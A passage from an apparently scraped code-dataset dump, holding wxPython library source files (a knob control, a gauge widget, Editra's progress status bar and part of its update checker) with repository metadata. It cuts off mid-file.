\"\"\" Returns the first gradient colour for shading. \"\"\"\n\n return self._startcolour\n\n \n def SetSecondGradientColour(self, colour):\n \"\"\"\n Sets the second gradient colour for shading.\n\n :param `colour`: a valid `wx.Colour` object.\n \"\"\"\n\n self._endcolour = colour\n self.UpdateDrawing()\n\n\n def GetSecondGradientColour(self):\n \"\"\" Returns the second gradient colour for shading. \"\"\"\n\n return self._endcolour\n\n\n def SetAngularRange(self, start, end):\n \"\"\"\n Sets the angular range for L{KnobCtrl}.\n\n :param `start`: the starting angle, in degrees, clockwise;\n :param `start`: the ending angle, in degrees, clockwise.\n \"\"\"\n\n self._anglestart = start\n self._angleend = end\n self.UpdateDrawing()\n \n\n def GetAngularRange(self):\n \"\"\"\n Returns the angular range for L{KnobCtrl} as a tuple. The `start` and `end`\n angles in the returned tuple are given in degrees, clockwise.\n \"\"\"\n\n return self._anglestart, self._angleend \n\n \n def Draw(self, dc):\n \"\"\"\n Draws everything on the empty bitmap.\n Here all the chosen styles are applied.\n\n :param `dc`: an instance of `wx.DC`.\n \"\"\"\n \n size = self.GetClientSize()\n \n if size.x < 21 or size.y < 21:\n return\n\n dc.SetClippingRegionAsRegion(self._region)\n self.DrawDiagonalGradient(dc, size)\n self.DrawInsetCircle(dc, self._knobcolour)\n dc.DestroyClippingRegion()\n self.DrawBoundingCircle(dc, size)\n\n if self._tags:\n self.DrawTags(dc, size)\n\n\n def DrawTags(self, dc, size):\n \"\"\"\n Draws the tags.\n\n :param `dc`: an instance of `wx.DC`;\n :param `size`: the control size.\n \"\"\"\n\n deltarange = abs(self._tags[-1] - self._tags[0])\n deltaangle = self._angleend - self._anglestart\n\n width = size.x\n height = size.y\n\n xshift = 0\n yshift = 0\n\n if width > height:\n xshift = width - height\n elif width < height:\n yshift = height - width\n\n coeff = float(deltaangle)/float(deltarange)\n\n dcPen = wx.Pen(self._tagscolour, 1)\n\n for tags in self._tags:\n\n if tags == self._tags[0] or tags == self._tags[-1]:\n # draw first and last tags bigger\n dcPen.SetWidth(2)\n tagLen = 8\n else:\n dcPen.SetWidth(1)\n tagLen = 6\n \n dc.SetPen(dcPen)\n \n tg = tags - self._tags[0]\n angle = tg*coeff + self._anglestart\n angle = angle*math.pi/180.0\n\n sxi = math.cos(angle)*(width - xshift + tagLen - 6)/2.0\n syi = math.sin(angle)*(height - yshift + tagLen - 6)/2.0\n\n dxi = math.cos(angle)*((width - xshift + tagLen - 6)/2.0 - tagLen)\n dyi = math.sin(angle)*((height - yshift + tagLen - 6)/2.0 - tagLen)\n\n dc.DrawLine(width/2 - sxi, height/2 - syi,\n width/2 - dxi, height/2 - dyi) \n \n\n def DrawDiagonalGradient(self, dc, size):\n \"\"\"\n Draw a shading of diagonal gradient to L{KnobCtrl}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `size`: the control size.\n \"\"\"\n\n col1 = self._startcolour\n col2 = self._endcolour\n \n r1, g1, b1 = int(col1.Red()), int(col1.Green()), int(col1.Blue())\n r2, g2, b2 = int(col2.Red()), int(col2.Green()), int(col2.Blue())\n\n maxsize = max(size.x, size.y)\n \n flrect = maxsize\n\n rstep = float((r2 - r1)) / flrect\n gstep = float((g2 - g1)) / flrect\n bstep = float((b2 - b1)) / flrect\n\n rf, gf, bf = 0, 0, 0\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n \n for ii in xrange(0, maxsize, 2):\n currCol = (r1 + rf, g1 + gf, b1 + bf) \n dc.SetPen(wx.Pen(currCol, 2))\n dc.DrawLine(0, ii+2, ii+2, 0)\n rf = rf + rstep\n gf = gf + gstep\n bf = bf + bstep\n\n for ii in xrange(0, maxsize, 2):\n currCol = (r1 + rf, g1 + gf, b1 + bf) \n dc.SetPen(wx.Pen(currCol, 2))\n dc.DrawLine(ii+2, maxsize, maxsize, ii+2)\n rf = rf + rstep\n gf = gf + gstep\n bf = bf + bstep\n\n\n def OffsetColour(self, colour, offset):\n \"\"\"\n Changes the input colour by the `offset` value. Used internally.\n\n :param `colour`: a valid `wx.Colour` object;\n :param `offset`: an integer value for offsetting the input colour.\n \"\"\"\n\n byRed = 0\n byGreen = 0\n byBlue = 0\n offsetR = offset\n offsetG = offset\n offsetB = offset\n\n if offset < -255 or offset> 255:\n return colour\n\n # Get RGB components of specified colour\n byRed = colour.Red()\n byGreen = colour.Green()\n byBlue = colour.Blue()\n\n # Calculate max. allowed real offset\n if offset > 0:\n \n if byRed + offset > 255:\n offsetR = 255 - byRed\n if byGreen + offset > 255:\n offsetG = 255 - byGreen\n if byBlue + offset > 255:\n offsetB = 255 - byBlue\n\n offset = min(min(offsetR, offsetG), offsetB)\n\n else:\n \n if byRed + offset < 0:\n offsetR = -byRed\n if byGreen + offset < 0:\n offsetG = -byGreen\n if byBlue + offset < 0:\n offsetB = -byBlue\n\n offset = max(max(offsetR, offsetG), offsetB)\n\n c1 = wx.Colour(byRed + offset, byGreen + offset, byBlue + offset)\n \n return c1\n\n\n def DrawInsetCircle(self, dc, pencolour):\n \"\"\"\n Draws the small knob.\n\n :param `dc`: an instance of `wx.DC`;\n :param `pencolour`: the colour to use for drawing the inset circle.\n \"\"\"\n\n self._knobcenter = self.CircleCoords(self._minradius*0.8, self.GetTrackPosition(),\n self.Width/2, self.Height/2)\n\n cx, cy = self._knobcenter\n r = self._knobradius\n \n p1 = wx.Pen(self.OffsetColour(pencolour, -70), 2)\n p2 = wx.Pen(self.OffsetColour(pencolour, 10), 1)\n\n pt1 = wx.Point(cx-r*math.sqrt(2)/2, cy+r*math.sqrt(2)/2)\n pt2 = wx.Point(cx+r*math.sqrt(2)/2, cy-r*math.sqrt(2)/2)\n \n dc.SetPen(p2)\n dc.DrawArcPoint(pt1, pt2, (cx, cy))\n dc.SetPen(p1)\n dc.DrawArcPoint(pt2, pt1, (cx, cy))\n\n\n def DrawBoundingCircle(self, dc, size):\n \"\"\"\n Draws the L{KnobCtrl} bounding circle.\n\n :param `dc`: an instance of `wx.DC`;\n :param `size`: the control size.\n \"\"\"\n\n radius = 0.9*min(size.x, size.y)/2\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetPen(wx.Pen(self._boundingcolour))\n dc.DrawCircle(self.Width/2, self.Height/2, radius)\n \n \n def CircleCoords(self, radius, angle, centerX, centerY):\n \"\"\"\n Converts the input values into logical `x` and `y` coordinates.\n\n :param `radius`: the L{KnobCtrl} radius;\n :param `angle`: the angular position of the mouse;\n :param `centerX`: the `x` position of the L{KnobCtrl} center;\n :param `centerX`: the `y` position of the L{KnobCtrl} center. \n \"\"\"\n \n x = radius*math.cos(angle) + centerX\n y = radius*math.sin(angle) + centerY\n \n return x, y\n\n\n def SetTrackPosition(self):\n \"\"\" Used internally. \"\"\"\n\n width, height = self.GetSize()\n \n x = self._mousePosition.x \n y = self._mousePosition.y \n \n ang = self.GetAngleFromCoord(x, y)\n val = ang*180.0/math.pi\n \n deltarange = self._maxvalue - self._minvalue\n deltaangle = self._angleend - self._anglestart\n\n coeff = float(deltaangle)/float(deltarange)\n\n if self._anglestart < 0 and val >= 360.0 + self._anglestart:\n scaledval = (val - (360.0 + self._anglestart))/coeff\n else:\n scaledval = (val - self._anglestart)/coeff\n\n if scaledval > self._maxvalue or scaledval < self._minvalue:\n ang = self._old_ang \n else:\n event = KnobCtrlEvent(wxEVT_KC_ANGLE_CHANGING, self.GetId())\n event.SetEventObject(self)\n event.SetOldValue(self.GetValue())\n event.SetValue(int(round(scaledval)))\n \n if self.GetEventHandler().ProcessEvent(event):\n # the caller didn't use event.Skip()\n return\n\n self.SetValue(scaledval)\n event.SetEventType(wxEVT_KC_ANGLE_CHANGED)\n event.SetOldValue(scaledval)\n self.GetEventHandler().ProcessEvent(event)\n \n self._old_ang = ang\n\n\n def SetValue(self, val):\n \"\"\"\n Sets programmatically the value of L{KnobCtrl}.\n\n :param `val`: an integer specifying the new L{KnobCtrl} value.\n\n :note: This method does not send a L{KnobCtrlEvent}. \n \"\"\"\n\n if val < self._minvalue or val > self._maxvalue:\n return\n\n width, height = self.GetSize()\n \n deltarange = self._maxvalue - self._minvalue\n deltaangle = self._angleend - self._anglestart\n\n coeff = float(deltaangle)/float(deltarange)\n\n ang = 360.0 + val*coeff + self._anglestart\n \n ang = ang*math.pi/180.0\n self._old_ang = ang\n\n self._trackposition = int(round(val))\n self.UpdateDrawing()\n\n\n def GetValue(self):\n \"\"\" Returns the value of L{KnobCtrl}. \"\"\"\n\n return self._trackposition\n\n\n def GetTrackPosition(self):\n \"\"\" Used internally. \"\"\"\n \n return self._old_ang - math.pi\n\n\n def GetAngleFromCoord(self, cx, cy):\n \"\"\"\n Returns the angular position based on the input logical coordinates.\n Used internally.\n\n :param `cx`: the `x` logical position;\n :param `cy`: the `y` logical position.\n \"\"\"\n\n width, height = self.GetSize()\n \n ang = 0\n y = (height/2 - float(cy))/(height/2) \n x = (float(cx) - width/2)/(height/2)\n\n ang = ang - math.atan2(-y, -x)\n\n if ang < 0:\n ang = ang + 2.0*math.pi\n\n return ang \n\n", "id": "98309", "language": "Python", "matching_score": 3.85206937789917, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/knobctrl.py" }, { "content": "# --------------------------------------------------------------------------------- #\n# PYGAUGE wxPython IMPLEMENTATION\n#\n# <NAME>, @ 28 Jul 2010\n# Latest Revision: 02 Aug 2010, 09.00 GMT\n#\n# TODO List\n#\n# 1. Indeterminate mode (see wx.Gauge)\n# 2. Vertical bar\n# 3. Bitmap support (bar, background)\n# 4. UpdateFunction - Pass a function to PyGauge which will be called every X \n# milliseconds and the value will be updated to the returned value.\n# 5. Currently the full gradient is drawn from 0 to value. Perhaps the gradient\n# should be drawn from 0 to range and clipped at 0 to value.\n# 6. Add a label? \n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To The:\n#\n# wxPython Mailing List!!!\n#\n# End Of Comments\n# --------------------------------------------------------------------------------- #\n\n\"\"\"\nPyGauge is a generic `wx.Gauge` implementation.\n\n\nDescription\n===========\n\nPyGauge supports the determinate mode functions as `wx.Gauge` and adds an L{Update} function\nwhich takes a value and a time parameter. The `value` is added to the current value over \na period of `time` milliseconds.\n\n\nSupported Platforms\n===================\n\nPyGauge has been tested on the following platforms:\n * Windows (Windows XP);\n \n\nLicense And Version\n===================\n\nPyGauge is distributed under the wxPython license.\nPyGauge has been kindly contributed to the AGW library by <NAME>.\n\nLatest Revision: <NAME> @ 02 Aug 2010, 09.00 GMT\n\nVersion 0.1\n\"\"\"\n\nimport wx\nimport copy\n\n\nclass PyGauge(wx.PyWindow):\n \"\"\" \n This class provides a visual alternative for `wx.Gauge`. It currently \n only support determinate mode (see L{PyGauge.SetValue} and L{PyGauge.SetRange})\n \"\"\"\n \n def __init__(self, parent, id=wx.ID_ANY, range=100, pos=wx.DefaultPosition,\n size=(-1,30), style=0):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.PyWindow` window style.\n \"\"\"\n\n wx.PyWindow.__init__(self, parent, id, pos, size, style)\n \n self._size = size\n \n self._border_colour = None\n self._barColour = self._barColourSorted = [wx.Colour(212,228,255)]\n self._barGradient = self._barGradientSorted = None\n \n self._border_padding = 0\n self._range = range\n self._value = [0]\n self._valueSorted = [0]\n \n self._timerId = wx.NewId()\n self._timer = None\n \n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_TIMER, self.OnTimer)\n \n \n def DoGetBestSize(self):\n \"\"\"\n Overridden base class virtual. Determines the best size of the\n button based on the label and bezel size.\n \"\"\"\n \n return wx.Size(self._size[0], self._size[1])\n \n \n def GetBorderColour(self):\n \"\"\" Returns the L{PyGauge} border colour. \"\"\"\n \n return self._border_colour\n\n \n def SetBorderColour(self, colour):\n \"\"\"\n Sets the L{PyGauge} border colour.\n\n :param `colour`: an instance of `wx.Colour`.\n \"\"\"\n \n self._border_colour = colour\n \n SetBorderColor = SetBorderColour\n GetBorderColor = GetBorderColour\n \n\n def GetBarColour(self):\n \"\"\" Returns the L{PyGauge} main bar colour. \"\"\"\n\n return self._barColour[0]\n \n\n def SetBarColour(self, colour):\n \"\"\"\n Sets the L{PyGauge} main bar colour.\n\n :param `colour`: an instance of `wx.Colour`.\n \"\"\"\n\n if type(colour) != type([]):\n self._barColour = [colour]\n else:\n self._barColour = list(colour)\n \n self.SortForDisplay() \n \n SetBarColor = SetBarColour\n GetBarColor = GetBarColour\n \n \n def GetBarGradient(self):\n \"\"\" Returns a tuple containing the gradient start and end colours. \"\"\"\n \n if self._barGradient == None:\n return None \n \n return self._barGradient[0]\n\n \n def SetBarGradient(self, gradient):\n \"\"\" \n Sets the bar gradient. \n \n :param `gradient`: a tuple containing the gradient start and end colours.\n\n :note: This overrides the bar colour previously set with L{SetBarColour}. \n \"\"\"\n \n if type(gradient) != type([]):\n self._barGradient = [gradient]\n else:\n self._barGradient = list(gradient)\n \n self.SortForDisplay() \n \n \n def GetBorderPadding(self):\n \"\"\" Gets the border padding. \"\"\"\n \n return self._border_padding\n \n\n def SetBorderPadding(self, padding):\n \"\"\" \n Sets the border padding.\n \n :param `padding`: pixels between the border and the progress bar.\n \"\"\"\n \n self._border_padding = padding\n \n \n def GetRange(self):\n \"\"\" Returns the maximum value of the gauge. \"\"\"\n \n return self._range\n \n\n def SetRange(self, range):\n \"\"\" \n Sets the range of the gauge. The gauge length is its \n value as a proportion of the range.\n \n :param `range`: The maximum value of the gauge.\n \"\"\"\n\n if range <= 0:\n raise Exception(\"ERROR:\\n Gauge range must be greater than 0.\")\n \n self._range = range\n \n \n def GetValue(self):\n \"\"\" Returns the current position of the gauge. \"\"\"\n \n return self._value[0]\n \n\n def SetValue(self, value):\n \"\"\"\n Sets the current position of the gauge.\n\n :param `value`: an integer specifying the current position of the gauge.\n \"\"\"\n \n if type(value) != type([]):\n self._value = [value]\n else:\n self._value = list(value)\n \n self.SortForDisplay()\n \n for v in self._value:\n if v < 0 or v > self._range:\n raise Exception(\"ERROR:\\n Gauge value must be between 0 and its range.\")\n \n \n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{PyGauge}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n\n :note: This method is intentionally empty to reduce flicker. \n \"\"\"\n\n pass\n\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{PyGauge}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n\n dc = wx.BufferedPaintDC(self)\n rect = self.GetClientRect()\n \n dc.SetBackground(wx.Brush(self.GetBackgroundColour()))\n dc.Clear()\n colour = self.GetBackgroundColour()\n dc.SetBrush(wx.Brush(colour))\n dc.SetPen(wx.Pen(colour))\n dc.DrawRectangleRect(rect)\n \n \n if self._border_colour:\n dc.SetPen(wx.Pen(self.GetBorderColour()))\n dc.DrawRectangleRect(rect)\n pad = 1 + self.GetBorderPadding()\n rect.Deflate(pad,pad)\n\n\n if self.GetBarGradient():\n for i, gradient in enumerate(self._barGradientSorted):\n c1,c2 = gradient\n w = rect.width * (float(self._valueSorted[i]) / self._range)\n r = copy.copy(rect)\n r.width = w \n dc.GradientFillLinear(r, c1, c2, wx.EAST)\n else: \n for i, colour in enumerate(self._barColourSorted):\n dc.SetBrush(wx.Brush(colour))\n dc.SetPen(wx.Pen(colour))\n w = rect.width * (float(self._valueSorted[i]) / self._range)\n r = copy.copy(rect)\n r.width = w \n dc.DrawRectangleRect(r)\n\n \n def OnTimer(self,event):\n \"\"\"\n Handles the ``wx.EVT_TIMER`` event for L{PyGauge}.\n\n :param `event`: a `wx.TimerEvent` event to be processed.\n \"\"\"\n \n if self._timerId == event.GetId():\n stop_timer = True\n for i, v in enumerate(self._value):\n self._value[i] += self._update_step[i]\n \n if self._update_step[i] > 0:\n if self._value[i] > self._update_value[i]:\n self._value[i] = self._update_value[i]\n else: stop_timer = False\n else:\n if self._value[i] < self._update_value[i]:\n self._value[i] = self._update_value[i]\n else: stop_timer = False\n \n if stop_timer:\n self._timer.Stop()\n \n self.SortForDisplay()\n \n self.Refresh()\n \n \n def Update(self, value, time=0):\n \"\"\"\n Update the gauge by adding `value` to it over `time` milliseconds. The `time` parameter\n **must** be a multiple of 50 milliseconds.\n\n :param `value`: The value to be added to the gauge;\n :param `time`: The length of time in milliseconds that it will take to move the gauge.\n \"\"\"\n \n if type(value) != type([]):\n value = [value]\n \n if len(value) != len(self._value):\n raise Exception(\"ERROR:\\n len(value) != len(self.GetValue())\")\n\n self._update_value = []\n self._update_step = []\n for i, v in enumerate(self._value):\n if value[i]+v <= 0 or value[i]+v > self._range:\n raise Exception(\"ERROR:\\n Gauge value must be between 0 and its range. \")\n \n self._update_value.append(value[i] + v)\n self._update_step.append(float(value[i])/(time/50))\n \n #print self._update_\n\n if not self._timer: \n self._timer = wx.Timer(self, self._timerId)\n \n self._timer.Start(100)\n\n \n def SortForDisplay(self):\n \"\"\" Internal method which sorts things so we draw the longest bar first. \"\"\"\n \n if self.GetBarGradient():\n tmp = sorted(zip(self._value,self._barGradient)); tmp.reverse()\n a,b = zip(*tmp)\n self._valueSorted = list(a)\n self._barGradientSorted = list(b)\n else:\n tmp = sorted(zip(self._value,self._barColour)); tmp.reverse()\n a,b = zip(*tmp)\n self._valueSorted = list(a)\n self._barColourSorted = list(b)\n\n", "id": "5714659", "language": "Python", "matching_score": 2.4984564781188965, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/pygauge.py" }, { "content": "###############################################################################\n# Name: pstatbar.py #\n# Purpose: Custom statusbar with builtin progress indicator #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Control Library: ProgressStatusBar\n\nCustom StatusBar that has a builtin progress gauge to indicate busy status and\nprogress of long running tasks in a window.\n\nThe Progress Gauge is only shown when it is active. When shown it is shown in \nthe far rightmost field of the StatusBar. The size of the progress Guage is \nalso determined by the size of the right most field.When created the StatusBar \nwill creates two fields by default, field 0 is expanding, field 1 is set as a\nsmall fixed field on the right. To change this behavior simply call SetFields \nafter creating the bar to change it.\n\n\"\"\"\n\n__author__ = \"Cody Precord <<EMAIL>>\"\n__svnid__ = \"$Id: pstatbar.py 66840 2011-02-03 21:05:28Z CJP $\"\n__revision__ = \"$Revision: 66840 $\"\n\n__all__ = [\"ProgressStatusBar\",]\n\n#--------------------------------------------------------------------------#\n# Dependancies\nimport wx\n\n#--------------------------------------------------------------------------#\n# Globals\n\n#--------------------------------------------------------------------------#\nclass ProgressStatusBar(wx.StatusBar):\n \"\"\"Custom StatusBar with a built-in progress bar\"\"\"\n def __init__(self, parent, id_=wx.ID_ANY,\n style=wx.SB_FLAT,\n name=\"ProgressStatusBar\"):\n \"\"\"Creates a status bar that can hide and show a progressbar\n in the far right section. The size of the progressbar is also\n determined by the size of the right most section.\n @param parent: Frame this status bar belongs to\n\n \"\"\"\n super(ProgressStatusBar, self).__init__(parent, id_, style, name)\n \n # Attributes\n self._changed = False # position has changed ?\n self.busy = False # Bar in busy mode ?\n self.stop = False # Stop flag to stop progress from other threads\n self.progress = 0 # Current progress value of the bar\n self.range = 0 # Range of progress indicator\n self.tmp = None # Temp for text that may be pushed when busy\n self.timer = wx.Timer(self)\n self.prog = wx.Gauge(self, style=wx.GA_HORIZONTAL)\n self.prog.Hide()\n\n # Layout\n self.SetFieldsCount(2)\n self.SetStatusWidths([-1, 155])\n\n # Event Handlers\n self.Bind(wx.EVT_IDLE, lambda evt: self.__Reposition())\n self.Bind(wx.EVT_TIMER, self.OnTimer)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n\n def __del__(self):\n \"\"\"Make sure the timer is stopped\n @postcondition: timer is cleaned up\n\n \"\"\"\n if self.timer.IsRunning():\n self.timer.Stop()\n\n def __Reposition(self):\n \"\"\"Does the actual repositioning of progress bar\n @postcondition: Progress bar is repostioned inside right most field\n\n \"\"\"\n if self._changed:\n rect = self.GetFieldRect(self.GetFieldsCount() - 1)\n self.prog.SetPosition((rect.x + 2, rect.y + 2))\n self.prog.SetSize((rect.width - 8, rect.height - 4))\n self._changed = False\n\n def _UpdateRange(self, range):\n \"\"\"Update the internal progress gauges range\n @param range: int\n\n \"\"\"\n self.range = range\n try:\n self.prog.SetRange(range)\n except OverflowError:\n # range too large, scale everything to 100\n self.prog.SetRange(100)\n\n def _UpdateValue(self, value):\n \"\"\"Update the internal progress gauges value\n @param range: int\n\n \"\"\"\n # Ensure value is within range\n range = self.prog.GetRange()\n if range != self.range: # need to scale value\n value = int((float(value) / float(range)) * 100)\n self.progress = value\n self.prog.SetValue(value)\n\n #---- Public Methods ----#\n\n def Destroy(self):\n \"\"\"Destroy the control\"\"\"\n if self.timer.IsRunning():\n self.timer.Stop()\n del self.timer\n super(ProgressStatusBar, self).Destroy()\n\n def DoStop(self):\n \"\"\"Stop any progress indication action and hide the bar\"\"\"\n self.timer.Stop()\n self.ShowProgress(False)\n self.prog.SetValue(0) # Reset progress value\n self.busy = False\n self.stop = False\n\n # Restore any status text that was sent while busy\n if self.tmp is not None:\n self.SetStatusText(self.tmp, self.GetFieldsCount() - 1)\n self.tmp = None\n\n def GetGauge(self):\n \"\"\"Return the wx.Gauge used by this window\n @return: wx.Gauge\n\n \"\"\"\n return self.prog\n\n def GetProgress(self):\n \"\"\"Get the progress of the progress bar\n @return: int\n\n \"\"\"\n return self.prog.GetValue()\n\n def GetRange(self):\n \"\"\"Get the what the range of the progress bar is\n @return: int\n\n \"\"\"\n return self.prog.GetRange()\n\n def IsBusy(self):\n \"\"\"Is the progress indicator busy or not\n @return: bool\n\n \"\"\"\n return self.timer.IsRunning()\n\n def OnSize(self, evt):\n \"\"\"Reposition progress bar on resize\n @param evt: wx.EVT_SIZE\n\n \"\"\"\n self.__Reposition()\n self._changed = True\n evt.Skip()\n\n def OnTimer(self, evt):\n \"\"\"Update the progress bar while the timer is running\n @param evt: wx.EVT_TIMER\n\n \"\"\"\n # Check stop flag that can be set from non main thread\n if self.stop:\n self.DoStop()\n return\n\n if not self.prog.IsShown():\n self.Stop()\n\n if self.busy or self.progress < 0:\n self.prog.Pulse()\n else:\n # Update the Range if it has changed\n if self.range >= 0 and self.range != self.prog.GetRange():\n self._UpdateRange(self.range)\n\n # Update the progress value if it is less than the range\n if self.progress <= self.range:\n self._UpdateValue(self.progress)\n\n def Run(self, rate=100):\n \"\"\"Start the bar's timer to check for updates to progress\n @keyword rate: rate at which to check for updates in msec\n\n \"\"\"\n if not self.timer.IsRunning():\n self.timer.Start(rate)\n\n def SetProgress(self, val):\n \"\"\"Set the controls internal progress value that is reflected in the\n progress bar when the timer next updates. Be sure to call Start before\n calling this method if you want the changes to be visible. This method\n can be called from non gui threads.\n @param val: int\n\n \"\"\"\n self.progress = val\n if val > 0 and wx.Thread_IsMain():\n self._UpdateValue(val)\n\n def SetRange(self, val):\n \"\"\"Set the what the range of the progress bar is. This method can safely\n be called from non gui threads.\n @param val: int\n\n \"\"\"\n self.range = val\n if val > 0 and wx.Thread_IsMain():\n self._UpdateRange(val)\n\n def ShowProgress(self, show=True):\n \"\"\"Manually show or hide the progress bar\n @keyword show: bool\n\n \"\"\"\n # If showing make sure bar is positioned properly\n if show:\n self.__Reposition()\n self.prog.Show(show)\n wx.GetApp().ProcessPendingEvents()\n\n def SetStatusText(self, txt, number=0):\n \"\"\"Override wx.StatusBar method to prevent text from being\n put in when the progress indicator is running. Any text that\n comes when it is running is buffered to be displayed afterwords.\n @param txt: Text to put on status bar\n @keyword number: Section number to put text in\n\n \"\"\"\n if number == self.GetFieldsCount() - 1 and self.IsBusy():\n if self.tmp is None:\n self.tmp = txt\n else:\n try:\n super(ProgressStatusBar, self).SetStatusText(txt, number)\n except wx.PyAssertionError:\n pass\n\n # Alias for SetStatusText\n PushStatusText = SetStatusText\n\n def Start(self, rate=100):\n \"\"\"Show and the progress indicator and start the timer\n @keyword rate: rate to update progress bar in msec\n\n \"\"\"\n self.__Reposition()\n bfield = self.GetFieldsCount() - 1\n self.tmp = self.GetStatusText(bfield)\n # Clear the progress field so the text doesn't show behind\n # the progress indicator.\n super(ProgressStatusBar, self).SetStatusText(u'', bfield)\n self.stop = False\n self.ShowProgress(True)\n self.Run(rate)\n\n def StartBusy(self, rate=100):\n \"\"\"Show and start the progress indicator in pulse mode\n @keyword rate: interval to pulse indicator at in msec\n\n \"\"\"\n self.busy = True\n self.Start(rate)\n\n def Stop(self):\n \"\"\"Stop and hide the progress bar. This method may safely be called\n from background threads.\n @precondition: Bar is already running\n\n \"\"\"\n if wx.Thread_IsMain():\n self.DoStop()\n else:\n self.stop = True # Set flag from non main thread\n self.progress = 0\n\n def StopBusy(self):\n \"\"\"Stop and hide the progress indicator\n @postcondition: Progress bar is hidden from view\n\n \"\"\"\n self.busy = False\n self.Stop()\n", "id": "10897980", "language": "Python", "matching_score": 3.8975627422332764, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/pstatbar.py" }, { "content": "###############################################################################\n# Name: updater.py #\n# Purpose: UI and services for checking update status and downloading updates #\n# for Editra. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nProvides controls/services that are used in checking and downloading updates\nfor the editor if they are available. The main control exported by this module\nis the L{UpdateProgress} bar it displays the progress of the network action and\nprovides a higher level interface into the L{UpdateService}.\n\n@summary: Utilities and controls for updating Editra\n@todo: This module could benefit from a bit of a re-write...\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: updater.py 66703 2011-01-17 23:07:45Z CJP $\"\n__revision__ = \"$Revision: 66703 $\"\n\n#--------------------------------------------------------------------------#\n# Dependencies\nimport os\nimport sys\nimport stat\nimport re\nimport urllib2\nimport threading\nimport wx\nimport wx.lib.delayedresult as delayedresult\n\n# Editra Libraries\nimport ed_glob\nimport ed_event\nfrom profiler import CalcVersionValue, Profile_Get\nimport util\nimport ebmlib\n\n#--------------------------------------------------------------------------#\n# Globals\nRE_VERSION = re.compile('<\\s*span id\\=\"VERSION\"[^>]*>(.*?)<\\s*/span\\s*>')\nRE_CURL = re.compile('<\\s*a id\\=\"CURRENT\"\\s*href=\\\"(.*?)\\\"[^>]*>.*?<\\s*/a\\s*>')\nDL_VERSION = ed_glob.HOME_PAGE + \"/version.php\"\nDL_REQUEST = ed_glob.HOME_PAGE + \"/e_update.php?dist=%s\"\nDL_LIN = 'SRC' # This may need to change in future\nDL_MAC = 'Macintosh'\nDL_SRC = 'SRC'\nDL_WIN = 'Windows'\nISBIN = hasattr(sys, 'frozen')\n\n_ = wx.GetTranslation\n#--------------------------------------------------------------------------#\n\nclass UpdateService(object):\n \"\"\"Defines an updater service object for Editra\"\"\"\n def __init__(self):\n \"\"\"Initializes the Updater Object\"\"\"\n super(UpdateService, self).__init__()\n self._abort = False\n self._progress = (0, 100)\n\n def __GetUrlHandle(self, url):\n \"\"\"Gets a file handle for the given url. The caller is responsible for\n closing the handle.\n @requires: network connection\n @param url: url to get page from\n @return: all text from the given url\n\n \"\"\"\n h_file = None\n try:\n if Profile_Get('USE_PROXY', default=False):\n proxy_set = Profile_Get('PROXY_SETTINGS',\n default=dict(uname='', url='',\n port='80', passwd=''))\n\n proxy = util.GetProxyOpener(proxy_set)\n h_file = proxy.open(url)\n else:\n h_file = urllib2.urlopen(url)\n\n finally:\n return h_file\n\n def Abort(self):\n \"\"\"Cancel any pending or in progress actions.\n @postcondition: any download actions will be aborted\n\n \"\"\"\n self._abort = True\n\n def GetCurrFileURL(self):\n \"\"\"Returns the url for the current version of the program\n for the current operating system, by requesting the data from\n project homepage.\n @requires: active network connection\n @return: url of latest available program version\n\n \"\"\"\n if wx.Platform == '__WXGTK__':\n dist = DL_LIN\n elif wx.Platform == '__WXMAC__' and ISBIN:\n dist = DL_MAC\n elif wx.Platform == '__WXMSW__' and ISBIN:\n dist = DL_WIN\n else:\n dist = DL_SRC\n\n url = self.GetPageText(DL_REQUEST % dist)\n url = re.findall(RE_CURL, url)\n if len(url):\n url = url[0]\n else:\n url = wx.EmptyString\n\n return url.strip()\n\n def GetCurrFileName(self):\n \"\"\"Returns the name of the file that is currently available for\n download as a string.\n @return: name of currently available file without url\n\n \"\"\"\n url = self.GetCurrFileURL()\n return url.split(u'/')[-1]\n\n def GetCurrentVersionStr(self):\n \"\"\"Parses the project website front page for the most\n recent version of the program.\n @requires: network connection\n @return: version number of latest available program\n\n \"\"\"\n page = self.GetPageText(ed_glob.HOME_PAGE + \"/version.php?check=True\")\n found = re.findall(RE_VERSION, page)\n if len(found):\n return found[0] # Should be the first/only match found\n else:\n util.Log(\"[updater][warn] UpdateService.GetCurrentVersionStr \"\n \"Failed to get version info.\")\n # TODO: GetTranslation is not threadsafe!!!\n return \"Unable to retrieve version info\"\n\n def GetFileSize(self, url):\n \"\"\"Gets the size of a file by address\n @param url: url to look up file on\n @return: size of the file in bytes\n\n \"\"\"\n size = 0\n try:\n dl_file = self.__GetUrlHandle(url)\n info = dl_file.info()\n size = int(info['Content-Length'])\n dl_file.close()\n finally:\n return size\n\n def 